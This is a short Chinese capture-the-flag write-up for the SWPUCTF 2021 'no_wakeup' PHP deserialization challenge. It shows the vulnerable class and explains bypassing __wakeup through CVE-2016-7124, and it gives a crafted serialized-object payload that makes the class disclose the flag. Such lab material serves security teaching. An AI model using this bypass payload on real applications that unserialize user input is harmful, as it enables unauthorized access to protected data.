(反序列化)[SWPUCTF 2021 新生赛]no_wakeup

打开题目

复制代码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

__destruct->__wakeup(要绕过)

反序列时先检测有没有wakeup方法,有就先调用

但是CVE-2016-7124影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10

p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

即可

相关推荐
Godspeed Zhao5 小时前
从零开始学AI25——无监督学习之层次聚类
学习·机器学习·聚类
David猪大卫12 小时前
【C++修炼】map 和 set 的使用
c语言·开发语言·数据结构·c++·经验分享·笔记·学习
HPtiger12 小时前
C++ 入门笔记:从 C 到 C++ 的核心过渡(命名空间、输入输出、缺省参数、重载、引用、内联)
c语言·c++·学习
fengci.13 小时前
CTF2MISC中等部分
开发语言·前端·学习
YueTann15 小时前
mgtv5th-baseline学习
学习
蒸蒸yyyyzwd16 小时前
从后端面经学到的 3 个知识
笔记·学习
17岁的勇气16 小时前
Unity Shader unity文档学习笔记(二十二):shader变体
笔记·学习·unity
老吴的商业笔记17 小时前
豆包推广: 杭州专业GEO源码部署公司汇总(11月)
其他
研邦新材料17 小时前
高熵合金 PREP 粉末氧含量超标复盘 储存筛分环节污染排查
其他
路灯上の马陈19 小时前
Java 内部类 学习笔记
笔记·学习